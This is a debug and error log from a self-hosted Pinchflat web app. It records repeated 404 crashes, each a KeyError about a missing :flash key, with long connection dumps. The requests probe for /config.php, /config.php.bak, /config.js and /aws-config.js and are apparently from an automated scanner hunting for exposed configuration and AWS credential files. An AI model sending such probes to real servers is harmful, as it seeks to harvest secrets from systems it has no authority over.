(truncated) 17:45:03.498 [info] GET /config.php 17:45:03.498 [debug] QUERY OK source="settings" db=0.1ms idle=384.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:03.498 [debug] QUERY OK source="settings" db=0.0ms idle=260.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:03.498 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:45:03.499 [error] #PID<0.20099.0> running PinchflatWeb.Endpoint (connection #PID<0.20088.0>, stream id 11) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /config.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 11, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.20099.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/config.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKG8m1VRmzIencAABSGC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 11, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 11, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.20099.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} (truncated) 17:45:03.624 [info] GET /config.php.bak 17:45:03.624 [debug] QUERY OK source="settings" db=0.1ms idle=386.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:03.624 [debug] QUERY OK source="settings" db=0.1ms idle=257.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:03.625 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:45:03.625 [error] #PID<0.20100.0> running PinchflatWeb.Endpoint (connection #PID<0.20088.0>, stream id 12) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /config.php.bak ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.php.bak", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 12, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.20100.0>, params: %{}, path_info: ["config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/config.php.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKG8m1zY8RS-yUUABSIC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.php.bak", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 12, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.php.bak", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 12, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.20100.0>, params: %{}, path_info: ["config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/config.php.b (truncated) 17:45:03.755 [info] GET /config.js 17:45:03.755 [debug] QUERY OK source="settings" db=0.1ms idle=388.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:03.756 [debug] QUERY OK source="settings" db=0.0ms idle=257.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:03.756 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:45:03.756 [error] #PID<0.20101.0> running PinchflatWeb.Endpoint (connection #PID<0.20088.0>, stream id 13) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /config.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.js", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 13, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.20101.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/config.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKG8m2SqefYYVo8ABSKC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.js", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 13, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.js", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 13, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.20101.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/con (truncated) 17:45:03.885 [info] GET /aws-config.js 17:45:03.886 [debug] QUERY OK source="settings" db=0.1ms idle=261.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:03.886 [debug] QUERY OK source="settings" db=0.0ms idle=261.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:45:03.886 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:45:03.886 [error] #PID<0.20102.0> running PinchflatWeb.Endpoint (connection #PID<0.20088.0>, stream id 14) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /aws-config.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /aws-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws-config.js", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 14, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.20102.0>, params: %{}, path_info: ["aws-config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/aws-config.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKG8m2xuHWKBC1wABSMC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws-config.js", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 14, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /aws-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws-config.js", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 14, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.20102.0>, params: %{}, path_info: ["aws-config"], path_params: 